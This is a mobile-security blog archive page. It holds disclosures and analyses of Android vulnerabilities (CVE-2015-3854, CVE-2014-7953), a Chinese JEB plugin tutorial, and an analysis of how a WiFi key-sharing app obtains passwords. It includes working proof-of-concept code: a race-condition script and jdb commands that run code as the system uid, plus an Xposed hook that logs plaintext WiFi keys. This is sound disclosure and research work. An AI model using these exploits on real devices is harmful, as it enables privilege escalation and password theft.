Category Archives: mobile security
Series of vulnerabilities in system_server and mediaserver
CVE-2015-3854 ANDROID-20918350
CVE-2015-3855 ANDROID-20917238
CVE-2015-3856 ANDROID-20917373
Since those are posted prior to Android Security Bug Bounty Program launch, I’m posting to fulldisclosure for the record.
Details
A permission leakage exists in Android 5.x that enables a malicious application to acquire the system-level protected permission of DEVICE_POWER.
There exists a permission leakage in packages/SystemUI/src/com/android/systemui/power/PowerNotificationWarnings.java, An attacker app without any permission can turn off battery save mode (which should be guarded by DEVICE_POWER permission, which is a system permission, lead to permission leakage), dismiss low battery notification.
Analysis
The PowerNotificationWarnings registered a dynamic receiver without permission guard, listening for the following actions:
- PNW.batterySettings
- PNW.startSaver
- PNW.stopSaver
- PNW.dismissedWarning
The PNW.stopSaver will call setSaverMode(false), thus call mPowerMan.setPowerSaveMode(false), which finally calls PowerManager.setPowerSaveMode(false).
(code of PowerNotificationWarnings.java) private final class Receiver extends BroadcastReceiver {
public void init() {
IntentFilter filter = new IntentFilter();
filter.addAction(ACTION_SHOW_BATTERY_SETTINGS);
filter.addAction(ACTION_START_SAVER);
filter.addAction(ACTION_STOP_SAVER);
filter.addAction(ACTION_DISMISSED_WARNING);
mContext.registerReceiverAsUser(this, UserHandle.ALL, filter, null, mHandler);
}
@Override public void onReceive(Context context, Intent intent) {
final String action = intent.getAction(); Slog.i(TAG, "Received " + action);
if (action.equals(ACTION_SHOW_BATTERY_SETTINGS)) {
dismissLowBatteryNotification(); mContext.startActivityAsUser(mOpenBatterySettings, UserHandle.CURRENT); }
else if (action.equals(ACTION_START_SAVER)) { dismissLowBatteryNotification(); showStartSaverConfirmation(); }
else if (action.equals(ACTION_STOP_SAVER)) { dismissSaverNotification();
dismissLowBatteryNotification();
setSaverMode(false);//PERMISSION LEAK HERE!
}
else if (action.equals(ACTION_DISMISSED_WARNING))
{ dismissLowBatteryWarning(); } }
An ordinary app cannot directly call this method because this API call is guarded by system permission DEVICE_POWER, however by sending a broadcast with action “PNW.stopSaver”, it can trigger this API call on behave of SystemUI, thus stops battery saver without user action and awareness.
Tested on Nexus 6/Nexus 7 (5.1.1)
POC code(do not require any permission)
Intent intent = new Intent();
intent.setAction("PNW.stopSaver");
sendBroadcast(intent);
Possible mitigations
Use a local broadcast mechanism, or use permission to guide the dynamic receiver.
Official fixes:
fixed in https://android.googlesource.com/platform/frameworks/base/+/05e0705177d2078fa9f940ce6df723312cfab976
Report timeline
- 2015.5.6 Initial report to security@android.com
- 2015.5.8 Android Security Team acks and assigned ANDROID-20918350
- 2015.6.1 The bug is fixed in Android internal branch
- 2015.7.24 CVE Requested, assigned CVE-2015-3854
- 2016.5.26 Public Disclosure
Advanced Android Application Analysis Series – JEB API Manual and Plugin Writing
Android应用分析进阶教程之一- 初识JEBAPI
还在对着smali和jdgui抓耳挠腮grep来grep去吗?本系列教程将围绕Soot和JEB,讲述Android应用的进阶分析,感受鸟枪换炮的快感.
JEB是Android应用静态分析的de facto standard,除去准确的反编译结果、高容错性之外,JEB提供的API也方便了我们编写插件对源文件进行处理,实施反混淆甚至一些更高级的应用分析来方便后续的人工分析.本系列文章的前几篇将对JEB的API使用进行介绍,并实战如何利用开发者留下的蛛丝马迹去反混淆.先来看看我们最终编写的这个自动化反混淆插件实例的效果:
可以看到很多类名和field名都被恢复出来了. 读者朋友肯定会好奇这是如何做到的, 那我们首先来看下JEB提供API的结构:
JEB AST API结构
JEB的AST与Java的AST稍有不同,但大体还是很相似的,只是做了些简化.所有的AST Element实现jeb.api.ast.IElement
,要么继承于jeb.api.ast.NonStatement
,要么继承于jeb.api.ast.Statement
.他们的关系如下图所示:
IElement
定义了getSubElements
,但不同类型的实现和返回结果也不同,例如对Method
进行getSubElements
调用的返回会是函数的参数定义语句和函数体block,而IfStmt
会返回判断使用的Predicate
和每一个if/else/ifelse语句块.而一个Assignment
语句则会返回左右IExpression
操作数,以及Operator
操作符.具体编写脚本中我们通常并不使用这个函数,而根据具体类型定义的更细致的函数,例如Assignment
提供的getLeft
和getRight
.
以下面的函数为例,我们来分析它具体由哪些AST元素组成.
boolean isZtz162(Ztz ztz)
{
boolean bool = true;
Redrain redrain = Redrain.getInstance("AnAn"); if(redrain.canShoot())
{
redrain.shoot(163);
if(ztz.isDead()) { bool = false; }
}
else if(ztz.height + Integer.parseInt(ztz.shoe) > 162)
{ bool = false; }
return bool;
}
首先来看下NonStatement
NonStatement
在文档中, NonStatement的描述是Base class for AST elements that do not represent Statements.
,即所有不是Statement
的AST结构继承于NonStatement
,如下图所示:
NonStatement
与Expression
的区别在于,NonStatement
包含了一些高阶结构,例如jeb.api.ast.Class
, jeb.api.ast.Method
这些并不会出现在语句中的AST结构体,他们分别代表一个Class结构和Method结构,注意不要与反射语句中使用的Class和Method混淆.
Statement
Statement顾名思义就代表了一个语句,但值得注意的是这里的语句并不代表单个语句,继承于Compound
的Statement
中也可能包含其他的Statement
.例如下面这段代码:
if(ztz.isDead())//redundant statement to demonstrate if-else { return false; }
else{ return true; }
这事实上是一整个继承于Compound
的IfStm
,也就是Statement
.
非Compound
的Statement
是最基本的语句结构,它的子节点只会由Expression
构成而不会包含block. 例如Assignment
,可以通过getLeft
和getRight
调用获得左右两边的操作对象,分别为ILeftExpression
和IExpression
.ILeftExpression
代表可以做左值的Expression,例如变量.而常量显然不实现ILeftExpression
接口
Compound
Compound
代表多个语句集合的语法块集合,每一个语法块以Block
(也是Compound
的子类)呈现,通过getBlocks
调用获得.所有分支语句均继承Compound
,如下图所示:
在上面提到的例子中,IfStmt
就是一个Compound
,我们通过getBranchPredicate(idx)
获取Predict
,也就是ztz.isDead()这个Expression
,而这个Expression
真正的类型是子类Call
.我们可以通过getBranchBody(idx)
获取if和if-else中的Block
,通过getDefaultBlock
获取else的Block
IExpression
IExpression代表了最基本的AST节点,其实现关系如下图:
IExpression
接口的实现者Expression
类代表了算术和逻辑运算的语句片段,例如a+b, “162” + ztz.toString(), !ztz, redrain*(ztz-162)等等,同时Predicate
类是Expression
类的直接子类,譬如在if(ztz162)
中,该语句的Predicate
左值为ztz162这个identifier
,右值为null.
以ztz.test(1) + ”height" + 162
这个Expression
为例,其结构组成和各节点类型如下: 值得注意的有如下几点: – Expression是从右到左的结构 – Call没有提供获取caller的API,不过可以通过getSubElements()获取,返回顺序为 – callee method – calling instance (if instance call) – calling arguments, one by one
InstanceField, StaticField和Field
InstanceField
和StaticField
包含Field. InstanceField
通过getInstance
调用获取一个IExpression
,也就是Field
的container. Field
本身是Class
的元素,而InstanceField
与StaticField
则是它的具体实例化.
实例Method分析
以我们上面提到的isZtz162函数为例,它的AST结构如下:
- jeb.api.ast.Method (getName() == “isZtz162”) => getBody()
- Block => block.get(i) //遍历block中的语句
- Assignment “boolean bool = true” => getSubElements
- Definition “boolean bool”
- Identifier “bool”
- Constant “true”
- Definition “boolean bool”
- Assignment “Redrain redrain = Redrain.getInstance(“AnAn”);” => getSubElements
- Definition => getSubElements (注意它是父assignment的getLeft返回结果(左值))
- Identifier “redrain”
- Call “Redrain.getInstance(“AnAn)”” (注意它是父assignment的getRight返回结果(右值))
- …(omit)
- Definition => getSubElements (注意它是父assignment的getLeft返回结果(左值))
- IfStmt (Compound) => getBlocks()
- Block (if block) => block.get(i) 遍历block中的语句
- Call “redrain.shoot(163);”
- IfStmt (Compound)
- …omit
- Block (elseif block) => block.get(i) 遍历block中的语句
- Assignment “bool = false'”
- ..omit
- Block (if block) => block.get(i) 遍历block中的语句
- Assignment “boolean bool = true” => getSubElements
- Block => block.get(i) //遍历block中的语句
可以通过如下代码来递归打印一个Method
中的各个Element
: class test(IScript):
def run(self, j):
self.instance = j
sig = self.instance.getUI().getView(View.Type.JAVA).getCodePosition().getSignature()
currentMethod = self.instance.getDecompiledMethodTree(sig)
self.instance.print("scanning method: " + currentMethod.getSignature())
body = currentMethod.getBody()
self.instance.print(repr(body))
for i in range(body.size()):
self.viewElement(body.get(i),1)
def viewElement(self, element, depth):
self.instance.print(" "*depth+repr(element))
for sub in element.getSubElements():
self.viewElement(sub, depth+1)
输出结果如下:
jeb.api.ast.Block@5909b311
jeb.api.ast.Assignment@bcb4ec2
jeb.api.ast.Definition@66afd874
jeb.api.ast.Identifier@38ffa6bd
jeb.api.ast.Constant@181bdf87
jeb.api.ast.Assignment@4df0246e
jeb.api.ast.Definition@50e7d9bb
jeb.api.ast.Identifier@2587ad7c
jeb.api.ast.Call@6e8ebb23
jeb.api.ast.Method@5ca02f89
jeb.api.ast.Definition@1890fae1
jeb.api.ast.Identifier@5646d660
jeb.api.ast.Block@44a464e0
jeb.api.ast.Constant@4dad155
jeb.api.ast.IfStm@298ea172
jeb.api.ast.Predicate@530958ae
jeb.api.ast.Call@a9d3219
jeb.api.ast.Method@56440cc0
jeb.api.ast.Definition@da13d7f
jeb.api.ast.Identifier@54cc63d6
jeb.api.ast.Block@36aea218
jeb.api.ast.Identifier@2587ad7c
jeb.api.ast.Predicate@313f1b4
jeb.api.ast.Expression@12616200
jeb.api.ast.InstanceField@3768f76d
jeb.api.ast.Identifier@4c4c3186
jeb.api.ast.Field@198ed96b
jeb.api.ast.Call@71640ce8
jeb.api.ast.Method@5f8b8d80
jeb.api.ast.InstanceField@42f6ff81
jeb.api.ast.Identifier@4c4c3186
jeb.api.ast.Field@6600907f
jeb.api.ast.Constant@2f0eb62a
jeb.api.ast.Block@6ed99788
jeb.api.ast.Call@f6b9a93
jeb.api.ast.Method@617130cd
jeb.api.ast.Definition@4e3b14b5
jeb.api.ast.Identifier@8cc9f33
jeb.api.ast.Definition@31e7d1c8
jeb.api.ast.Identifier@6a7dbb10
jeb.api.ast.Block@64844e0e
jeb.api.ast.Identifier@2587ad7c
jeb.api.ast.Constant@2a20acb0
jeb.api.ast.IfStm@47296c6b
jeb.api.ast.Predicate@708d094c
jeb.api.ast.Call@3b5d964e
jeb.api.ast.Method@7d36f954
jeb.api.ast.Definition@242b3a05
jeb.api.ast.Identifier@11ee30d0
jeb.api.ast.Block@2cc6b0e2
jeb.api.ast.Identifier@4c4c3186
jeb.api.ast.Block@2886dc65
jeb.api.ast.Assignment@2def7fac
jeb.api.ast.Identifier@38ffa6bd
jeb.api.ast.Constant@46a70cc3
jeb.api.ast.Block@136fa72
jeb.api.ast.Assignment@407452fd
jeb.api.ast.Identifier@38ffa6bd
jeb.api.ast.Constant@46a70cc3
jeb.api.ast.Return@14f4811a
jeb.api.ast.Identifier@38ffa6bd
对AST结构的分析就到这里,本文选取了几种最典型的做了讲解.此外JEB还提供了jeb.api.dex
,提供了对dex文件的操作API.由于这方面资料比较多,这里就先不赘述了.
实例分析之开发环境配置
JEB原生支持Java和Python两种语言进行开发,后者的支持是通过Jython实现的.这里简便起见我们的例子均以Python为例.个人建议想使用前者的话最好使用Scala,否则Java本身实在太罗嗦了.
Java
在eclipse中配置好classpath中的library指向bin/jeb.jar,同时将javadoc路径指向jeb/doc/apidoc.zip即可.
Python
Python环境配置相对麻烦点,因为JEB并没有提供相对应的skeleton,导致Python的IDE中默认没有代码补全,需要自行配置.笔者使用了PyCharm的JythonHelper插件,可以帮助生成skeleton从而有基本的代码补全.
配置好环境后,我们来编写一个最简单的插件:输出光标所在位置的method signature,代码如下所示:
from jeb.api import IScript
from jeb.api.ui import View
class test(IScript):
def run(self, j):
self.instance = j
sig = self.instance.getUI().getView(View.Type.JAVA).getCodePosition().getSignature()
currentMethod = self.instance.getDecompiledMethodTree(sig)
self.instance.print("scanning method: " + currentMethod.getSignature())
保存为test.py,点击File->Run Script->test.py, JEB就会在下面的console中输出当前光标所在函数的signature.
总结
本文介绍了JEB Java AST API的基本知识和插件编写入门,同时也可以作为一个APIDoc的补充参考.在下一篇文章中我们将会根据实例讲解如何编写高级的更复杂的插件. 源代码和测试样例在https://github.com/flankerhqd/jebPlugins可以找到。
ADB backupAgent 提权漏洞分析 (CVE-2014-7953)
ADB backupAgent 提权漏洞分析 (CVE-2014-7953) 注:该文也已发表在drops.wooyun.org. pdf版可见 http://tool.flanker017.me/papers/cve-2014-7953.pdf
摘要
CVE-2014-7953是存在于android backup agent中的一个提权漏洞。ActivityManagerService中的bindBackupAgent方法未能校验传入的uid参数,结合另外一个race condition利用技巧,攻击者可以以任意uid(应用)身份执行代码,包括system(uid 1000)。本文对该漏洞进行了详细分析,并给出了利用EXP。攻击的前提条件是需要有android.permission.BACKUP和INSTALL_PACKAGES,而adb shell是一个满足条件的attack surface。
背景介绍
BackupService是Android中提供的备份功能,在备份操作中,系统的BackupManager从目标应用获取对方指定的备份数据,然后交给BackupTransport进行数据传输。在恢复备份操作中,BackupManager从Transport中拿回数据并传递给目标应用进行恢复。常见的场景是用户应用的数据备份到Google Cloud,用户在新手机上登录Google账号时数据就被自动恢复回去。
当然想使用备份功能的应用必须实现BackupAgent组件,继承BackupAgent类或者BackupAgentHelper类,并在AndroidManifest.xml中声明自己,还需要向一个BackupService注册。
在BackupManager进行备份或恢复时,其会以目标应用BackupAgent为内容启动目标应用进程,调用其onCreate函数,以方便其进行具体的应用逻辑相关的备份和恢复操作。
漏洞成因
在上文的铺垫之后,我们来看这个漏洞的成因。前面提到BackupAgent会在进行恢复时被调用,具体到ActivityManagerService中的bindBackupAgent函数:
// Cause the target app to be launched if necessary and its backup agent
12819 // instantiated. The backup agent will invoke backupAgentCreated() on the
12820 // activity manager to announce its creation.
12821 public boolean bindBackupAgent(ApplicationInfo app, int backupMode) {
12822 if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode);
12823 enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent");
12824
12825 synchronized(this) {
/*...*/
12833 // Backup agent is now in use, its package can't be stopped.
12834 try {
12835 AppGlobals.getPackageManager().setPackageStoppedState(
12836 app.packageName, false, UserHandle.getUserId(app.uid));
12837 } catch (RemoteException e) {
12838 } catch (IllegalArgumentException e) {
12839 Slog.w(TAG, "Failed trying to unstop package "
12840 + app.packageName + ": " + e);
12841 }
12842
12843 BackupRecord r = new BackupRecord(ss, app, backupMode);
12844 ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)
12845 ? new ComponentName(app.packageName, app.backupAgentName)
12846 : new ComponentName("android", "FullBackupAgent");
12847 // startProcessLocked() returns existing proc's record if it's already running
12848 ProcessRecord proc = startProcessLocked(app.processName, app,
12849 false, 0, "backup", hostingName, false, false, false);
12850 if (proc == null) {
12851 Slog.e(TAG, "Unable to start backup agent process " + r);
12852 return false;
12853 }
12854
12855 r.app = proc;
12856 mBackupTarget = r;
12857 mBackupAppName = app.packageName;
12858
12859 // Try not to kill the process during backup
12860 updateOomAdjLocked(proc);
12861
12862 // If the process is already attached, schedule the creation of the backup agent now.
12863 // If it is not yet live, this will be done when it attaches to the framework.
12864 if (proc.thread != null) {
12865 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc);
12866 try {
12867 proc.thread.scheduleCreateBackupAgent(app,
12868 compatibilityInfoForPackageLocked(app), backupMode);
12869 } catch (RemoteException e) {
12870 // Will time out on the backup manager side
12871 }
12872 } else {
12873 if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach");
12874 }
12875 // Invariants: at this point, the target app process exists and the application
12876 // is either already running or in the process of coming up. mBackupTarget and
12877 // mBackupAppName describe the app, so that when it binds back to the AM we
12878 // know that it's scheduled for a backup-agent operation.
12879 }
12880
12881 return true;
12882 }
ActivityManagerService对外通过Binder暴露了这个接口,当然开头就要求了调用者必须持有android.permission.BACKUP权限,而shell是持有这个权限的。bindBackupAgent最终会将传入的攻击者可控的ApplicationInfo传递给startProcessLocked,并最终通过scheduleCreateBackupAgent调用其onCreate函数。
而ApplicationInfo中的uid可以被任意指定,这是该漏洞的根本原因。
漏洞利用
但是想要利用这个漏洞还会遇到几个关键的问题,需要通过其他方法来绕过。
setPackageStoppedState的权限检查
从代码中可以看到,在startProcessLocked之前会先调用setPackageStoppedState,将可能正在运行的目标package置Stopped状态。这要求binder调用的发起者持有CHANGE_COMPONENT_ENABLED_STATE权限,否则会抛出SecurityException,终止函数运行。很遗憾这是一个系统用户才持有的权限,shell是没有的,强行调用会抛如下异常:
但是可以观察到的是,startPackageStoppedState在抛出IllegalArgumentException时会被catch住,打一个log并继续执行,那么通过PackageManager安装包时的race condition,或者说TOCTOU,可以打一个时间差。
一个猥琐的步骤如下: – 调用pm安装包,在安装过程中某个时刻调用bindBackupAgent。 – startPackageStoppedState时,包并不存在,抛出IllegalArgumentException被catch住并继续执行。 – startProcessRecord时包却已经安装完成了,以攻击者指定的ApplicationInfo启动。
正常的情况下,当包存在时,会是如下时序:
包不存在时,会是如下时序。此时process可以被创建出来,但会立即死亡因为找不到load的代码。极罕见的情况下可能会停留在FC对话框而可以利用。
TOCTOU利用时序图如下:
这里面关键点是打好时间差,例如可以扩大classes.dex的体积,增加dexopt的时间。在N7上测试成功的POC是通过脚本监控logcat中Copying native libraries to,在此刻触发bindBackupAgent调用,基本每次都能成功。
handleCreateBackupAgent的检查
跟一下调用链:
public final void scheduleCreateBackupAgent(ApplicationInfo app,
658 CompatibilityInfo compatInfo, int backupMode) {
659 CreateBackupAgentData d = new CreateBackupAgentData();
660 d.appInfo = app;
661 d.compatInfo = compatInfo;
662 d.backupMode = backupMode;
663
664 sendMessage(H.CREATE_BACKUP_AGENT, d);
665 }
public void handleMessage(Message msg) {
//omit
case CREATE_BACKUP_AGENT:
1337 Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent");
1338 handleCreateBackupAgent((CreateBackupAgentData)msg.obj);
1339 Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
1340 break;
//omit
}
// Instantiate a BackupAgent and tell it that it's alive
2428 private void handleCreateBackupAgent(CreateBackupAgentData data) {
2429 if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data);
2430
2431 // Sanity check the requested target package's uid against ours
2432 try {
2433 PackageInfo requestedPackage = getPackageManager().getPackageInfo(
2434 data.appInfo.packageName, 0, UserHandle.myUserId());
2435 if (requestedPackage.applicationInfo.uid != Process.myUid()) {
2436 Slog.w(TAG, "Asked to instantiate non-matching package "
2437 + data.appInfo.packageName);
2438 return;
2439 }
2440 } catch (RemoteException e) {
2441 Slog.e(TAG, "Can't reach package manager", e);
2442 return;
2443 }
//omit
2448 // instantiate the BackupAgent class named in the manifest
2449 LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo);
2450 String packageName = packageInfo.mPackageName;
//omit
2461
2462 BackupAgent agent = null;
2463 String classname = data.appInfo.backupAgentName;
2464
2465 // full backup operation but no app-supplied agent? use the default implementation
2466 if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL
2467 || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) {
2468 classname = "android.app.backup.FullBackupAgent";
2469 }
2470
2471 try {![Alt text](./Screenshot from 2015-04-20 15:50:21.png)
2472 IBinder binder = null;
2473 try {
2474 if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname);
2475
2476 java.lang.ClassLoader cl = packageInfo.getClassLoader();
2477 agent = (BackupAgent) cl.loadClass(classname).newInstance();
2478
2479 // set up the agent's context
2480 ContextImpl context = ContextImpl.createAppContext(this, packageInfo);
2481 context.setOuterContext(agent);
2482 agent.attach(context);
2483
2484 agent.onCreate();
2485 binder = agent.onBind();
2486 mBackupAgents.put(packageName, agent);
2487 } catch (Exception e) {
2488 //omit
2496 }
//omit
2508 }
2509
该函数的作用是在Package中寻找定义的BackupAgent类,如果不存在则以android.app.backup.FullBackupAgent代替,并执行其onCreate函数。
如果控制了进程uid为system,在onCreate函数放置我们的代码就万事大吉了。但很遗憾开头就有一个检查,对比当前进程的uid(注意ActivityThread的代码是在被启动package的进程空间内执行的,所以Process.myUid即是目标package的uid)和PackageManager在安装时记录的uid,不符合则log并退出。这就砍掉了改onCreate利用的想法。
但天无绝人之路,jdwp come to rescure. 进程和VM已经起来了,安装包的debuggable flag又是攻击者可指定的,那么jdwp attach上去执行代码,就柳暗花明又一村。
喜闻乐见的shell…吗
如果我们再去打开测试应用,会看到两个不同uid的同package进程并存,如下图:
这里会有两种情况: – 进程以system的uid启动,但由于没有实例化和调用onCreate,这个进程是个空壳。这是最常见的情况。 – 进程以system的uid启动,出现一个Application Crash时的FC对话框。有意思的是某些罕见情况下直接访问backupAgent接口就会触发该对话框。
对于这两种情况,attach上之后触发的断点也并不一样。对于第一个来说,线程会block在nativePollOnce上,如下图所示:
这种情况利用的一个关键因素是需要让线程跳出nativePollOnce,也就是说需要让其接收到一个消息,然后才能下断点执行代码, 但诡异之处就在于这时候起的进程是一个空壳,不存在GUI界面,常规的操作触发和intent触发都是没有效果的,这岂不是强人所难?如何跳出这个轮回留给读者做一道思考题。
第二种则会因为异常捕获断在handleApplicationCrash上,这种比较好处理,直接下断点即可。
总之我们利用intellij或者jdb作为载体,通过jdwp即可以system权限或者以其他uid的身份执行代码。
附效果截图:
当然我们也可以变幻成什么xx卫士啊,xx钱盾,xx付宝之类进程的uid,从而控制这些敏感应用。附xx卫士的截图:
可以看到我们的应用已经和xx卫士是一个uid同床共枕了,接下来怎么发挥就看诸君想象力了。
部分POC:
myapp:
public class Test {
public static void main(String []args)
{
test(Integer.parseInt(args[0]));
}
public static void test(Integer uid)
{
try {
Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative");
Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault");
Object iActivityManager = bindBackupAgent.invoke(null);
Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class);
ApplicationInfo applicationInfo = new ApplicationInfo();
applicationInfo.dataDir = "/data/data/com.example.myapp";
applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1";
applicationInfo.processName = "com.example.myapp";
applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk";
applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk";
applicationInfo.taskAffinity = "com.example.myapp";
applicationInfo.packageName = "com.example.myapp";
applicationInfo.flags = 8961606;
applicationInfo.uid = uid;
bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}
将其编译为jar并通过app_process执行。注意在myapp没有安装时直接执行会造成后续INSTALL_FAILED_UID_CHANGED错误,具体原因可参照我之前写的denial-of-app分析。
监控py脚本
from subprocess import Popen, PIPE
import os
KW = "Copying native libraries to "
#KW = "dexopt"
os.system("adb logcat -c")
p = Popen(["adb", "logcat"], stdout=PIPE, bufsize=1)
with p.stdout:
for line in iter(p.stdout.readline, b''):
if line.find(KW) != -1:
print line
os.system("adb shell /data/local/tmp/test.sh 1000")
p.wait()
test.sh
export ANDROID_DATA=/data/local/tmp/
export CLASSPATH=/data/local/tmp/MyTest.jar
app_process /data/local/tmp/ com.example.MyTest $@
jdb命令:
threads
thread 0xxxxxx
suspend
stop in android.os.MessageQueue next
run
print new java.lang.Runtime.exec("id")
修复:
Google对该漏洞的修复非常简单,对bindBackupAgent接口校验了FULL_BACKUP这个system级别的权限,砍掉了最初的入口。
References:
- http://www.securityfocus.com/archive/1/535296/30/0/threaded
- http://www.saurik.com/id/17
- http://androidxref.com/4.4.4_r1/xref/frameworks/base/services/java/com/android/server/am/ActivityManagerService.java#12822
- http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.2_r1/android/os/MessageQueue.java#MessageQueue.nativePollOnce%28int%2Cint%29
WiFi万能钥匙蹭网原理详细剖析
注:该文最早受乌云编辑约稿,发表在http://drops.wooyun.org/papers/4976
wifi万能钥匙究竟有没有获取root之后偷偷上传密码?
本次测试版本号为3.2.3,首先通过可疑shell语句定位到疑问的问题代码:类名com.snda.wifilocating.f.ba
这段代码的作用是在有了root权限的情况下 将系统的wifi.conf拷贝出来到应用自己的目录,并赋予其全局可读写权限(其实这是个漏洞了…)。
对其做cross-ref查找引用之后可以发现,该函数主要在两个地方被直接调用。一个是com.snda.wifilocating.e.av:
这是一个api接口,主要功能是用于用户注册了之后备份自己的ap密码,同时在
WpaConfUploadActivity直接调用、GetBackupActivity中间接调用。第一个Activity在分析的版本中已经被从AndroidManifest中删除,而第二个Activity则是用户备份私有wifi时的对应的界面。这证实了备份的时候密码确实会被上传,而且从下文来看这个密码是完全可逆的。
不过在使用过程中,该应用并没有其他可疑的root行为操作。笔者打开了SuperSu的root执行监控,短暂的使用过程中也只发现了执行了上述的这一条命令。
Android系统Wifi连接API概述
Android系统通过WifiManager类来提供对Wifi的扫描、连接接口。应用在请求相应权限之后可以扫描、连接、断开无线等。在连接无线功能中,客户端基本上只要指定SSID,Pre-shared-key(即密码),就可以用代码的方式连接无线。连接一个WPA(2)无线典型代码如下,
wifiConfiguration.SSID = "\"" + networkSSID + "\"";
wifiConfiguration.preSharedKey = "\"" + networkPass + "\"";
wifiConfiguration.hiddenSSID = true;
wifiConfiguration.status = WifiConfiguration.Status.ENABLED;
wifiConfiguration.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.TKIP);
wifiConfiguration.allowedGroupCiphers.set(WifiConfiguration.GroupCipher.CCMP);
wifiConfiguration.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.WPA_PSK);
wifiConfiguration.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.TKIP);
wifiConfiguration.allowedPairwiseCiphers.set(WifiConfiguration.PairwiseCipher.CCMP);
wifiConfiguration.allowedProtocols.set(WifiConfiguration.Protocol.RSN);
wifiConfiguration.allowedProtocols.set(WifiConfiguration.Protocol.WPA);
int res = wifiManager.addNetwork(wifiConfiguration);
Log.d(TAG, "### add Network returned " + res);
wifi万能钥匙是怎么连接上无线的,密码从哪里来?
这也是争议较大的地方,首先该应用肯定是有云端存储了很多密码,因为应用会引导用户备份自己的密码,但这些密码有没有被滥用我们在客户端就不得而知了。在2月底的这次测试中,笔者先私有备份了自己建立的测试无线(注意不是分享),然后使用另外一个手机安装该客户端测试,该客户端的API请求接口并没有返回这个测试的无线的密码。不过这也可能只是个例说明不了什么,还是建议各位自行测试,但注意测试前清除保存的无线并给测试无线设定一个弱密码以免真的泄露了自己的密码。
无线密码获取分析
回到正题,笔者通过代理拦截到了该应用获取wifi密码的请求。应用发送目标的ssid,mac信息向云端做查询,获取到的密码到本地之后并不是明文的,而是一个AES加密。首先为了证明其在本地最终还是会以明文出现,先取了个巧,没有去逆这个算法(虽然逆下也不会很困难),而是直接hook了系统添加无线的代码(回忆上文里密码就在NetworkConfiguration.preSharedKey里)。
部分HOOK代码:
Class wifimgr = XposedHelpers.findClass(
"android.net.wifi.WifiManager",
lpparam.classLoader);
XposedBridge.hookAllMethods(wifimgr, "addNetwork",
new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param)
throws Throwable {
WifiConfiguration configuration = (WifiConfiguration) param.args[0];
if(configuration.preSharedKey != null)
{
Log.e("FUCKFUCK", "psk: "+configuration.preSharedKey);
}
}
});
XposedBridge.hookAllMethods(wifimgr, "updateNetwork",
new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param)
throws Throwable {
WifiConfiguration configuration = (WifiConfiguration) param.args[0];
if(configuration.preSharedKey != null)
{
Log.e("FUCKFUCK", "psk: "+configuration.preSharedKey);
}
}
});
}
这是一个万能钥匙上传wifi ssid以及mac以请求密码的截图:
响应截图:
密码以AES可逆加密的形式通过pwd这个json key传递了回来。
同时,在其尝试通过这个密码连接目标无线的时候,本地hook模块也获取到了真实的明文密码:
个人备份分析
而个人备份模块,也就是直接会读取wifi.conf的模块,是通过findprivateap和saveprivateap这两个json api method进行,具体的http请求逻辑在com.snda.wifilocating.e.av中可以找到,这个类也基本上囊括了所有万能钥匙的api请求逻辑。
备份时的请求:把整个wifi.conf全部上传了上去。
而恢复备份时,只是将密码从云端拖了下来。
其他连接方式分析
除此之外,Wifi万能钥匙还自带了2000条的数据库记录在ap8.db中,记录了常见的弱密码。
例如
这些密码用在所谓的“深度连接”功能中,其实按代码逻辑来看就是一个wifi密码爆破,每次在字典中尝试10个密码。看下logcat就很明显。
I/wpa_supplicant( 884): wlan0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=2 duration=20
D/SupplicantStateTracker( 818): Failed to authenticate, disabling network 1
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-REENABLED id=1 ssid="aaaaaaaaa"
I/wpa_supplicant( 884): wlan0: Trying to associate with 5c:a4:8a:4d:09:a0 (SSID='aaaaaaaaa' freq=2412 MHz)
I/wpa_supplicant( 884): wlan0: Associated with 5c:a4:8a:4d:09:a0
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-DISCONNECTED bssid=5c:a4:8a:4d:09:a0 reason=23
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=1 duration=10
I/wpa_supplicant( 884): wlan0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-TEMP-DISABLED id=1 ssid="aaaaaaaaa" auth_failures=2 duration=20
I/wpa_supplicant( 884): wlan0: CTRL-EVENT-SSID-REENABLED id=1 ssid="aaaaaaaaa"
